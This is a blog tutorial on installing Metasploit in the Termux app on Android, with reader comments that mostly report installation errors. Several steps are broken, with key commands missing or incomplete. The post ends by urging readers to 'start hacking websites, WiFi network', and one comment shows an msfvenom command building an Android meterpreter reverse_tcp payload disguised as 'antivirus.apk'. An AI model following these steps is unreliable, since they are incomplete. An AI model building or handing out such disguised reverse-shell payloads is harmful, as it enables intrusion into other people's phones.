How to install Metasploit in Termux Android [No Root] 2022

install metasploit framework on termux android

Are you looking for a step by step guide to install Metasploit in your android device using Termux terminal without bundle error? Then you are at the right place. (No root required)



Termux terminal is one of the most popular applications which allows you to run linux commands on your android device. Termux provides you a wide range of customization and incredible features. You can install and run node.js, c++, ruby and many programming languages with ease.

Metasploit is a popular penetration testing project which supports a wide variety of platforms, including termux. Termux provides you a simple and easy modules management tool so that you can install metasploit and other popular libraries within a couple of seconds. You can use metasploit module to –

  • Access remote server through open ssh,
  • Create apk and pdf files,
  • Create a listener on a port,
  • Create php files, etc.

Install Metasploit in Termux without error

Note: If you have already installed the termux terminal in your android device then make sure that termux is granted access to the internal as well as external or sd card storage. If you are not able to access the storage then run ‘termux-setup-storage’ without quotes. A pop up box will appear asking permission to grant access to the storage, then tap allow.

Step 1: Upgrade the packages

The very first thing which you need to do is upgrade all the packages, including security patches of your terminal. For upgrading to the latest version of the packages, run the below command.

apt update && apt upgrade

Step 2: Install Curl packages

Now you need to run the below command for installing CURL packages.

apt-get install curl

Step 3: Download Metasploit library

Run the below command one by one in order to download Metasploit library.

pkg install wget


Step 4: Make the Metasploit library executable

Once you have installed the metasploit library. Then, you need to run the below command to navigate to the metasploit folder.

cd metasploit-framework

And then run the below command to make the file executable.

chmod +x

Step 5: Install Metasploit Framework

Now you have to run the below command in order to install the metasploit framework on your terminal.


Step 6: Start Metasploit and run native commands

Now the metasploit framework is successfully installed in your terminal. Now you need to type and run the below command to start the metasploit.



Done. You can now start hacking websites, WiFi network, etc.

I found that most of the contents across the internet are outdated and no longer works. And so, I have published this article and so that you do not have to face any difficulty with respect to installation.

Let’s see the Frequently asked questions,


How to fix  an error parsing `Gemfile

Most of the time you might face Gemfile error while installing metasploit framework on termux terminal. The problem arises due to not having the required modules for the terminal. You can easily solve the problem by running the below command. The command usually installs the Gemfile modules and its dependencies in the terminal’s packages library.

pkg install gem bundler

How to fix payload permission denied

The other problem which you might face during installation is payload permission denied error. The problem arises due to termux api and setup-storage not configured properly. So you need to run the below command one by one.

apt install termux-api


And then you can create Payload.

Final Words

As there are many contents across the web which are outdated and they no longer work. I have tried my best to show you a step by step guide to install Metasploit framework using termux in android without bundle error.

There are also so many alternatives to termux that you can try and use on your device. However, no terminal is much more flexible than the termux emulator which comes with a wide variety of features such as python compilation, web scraping, website hacking, and lots more.

If you want to enhance the power of termux then I would suggest you try the additional add-on which is freely available at the F-droid open source repository. You should make sure that you have downloaded and installed the open source version of termux from f-droid repo, because all these add-on are available free there.

The Google play store and f-droid repo have different versions of termux terminal and so the additional add-on from f-droid repo does not work with the play store version of termux.

Thanks. You can comment in the comment box below, if you have any questions arising in your mind or facing any error apart from Gemfile and payload issues.

25 thoughts on “How to install Metasploit in Termux Android [No Root] 2022”

  1. Got error =
    minitest-5.12.2 requires ruby version ~> 2.2, which is incompatible with the current version, ruby 3.0.0p0
    dpkg: error pr


    • You have to install gem bundler package. Run pkg install gem bundler.This command will install gem packages.

  2. CANNOT LINK EXECUTABLE “ruby”: library “/data/data/com.termux/files/usr/lib/ruby/2.7.0/aarch64-linux-android/” not found: needed by main executable

    While running msfconsole

  3. ====================== *** Installation… ======================= line 71: gem: command not found line 74: gem: command not found line 76: gem: command not found line 77: bundle: command not found line 78: bundle: command not found line 79: bundle: command not found

  4. ~ $ msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=4444 R> /sdcard/antivirus.apk
    [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
    [-] No arch selected, selecting arch: dalvik from the payload
    No encoder specified, outputting raw payload
    Payload size: 10186 bytes

    Bro ye error aa rha h

  5. Al momento de instalar me marca este error

    ‘Could not find nokogiri-1.12.5 in any of the sources’
    Run ‘bundle install to install missin gems.

    pero cuando realizo lo que me pide me sale otro error
    ‘Unable to locate packages bundle’

    alguien podria ayudarme

  6. Calling `DidYouMean::SPELL_CHECKERS.merge!(error_name => spell_checker)’ has been deprecated. Please call `DidYouMean.correct_error(error_name, spell_checker)’ instead.
    Could not find nokogiri-1.12.5 in any of the sources
    Run `bundle install` to install missing gems.


Leave a Comment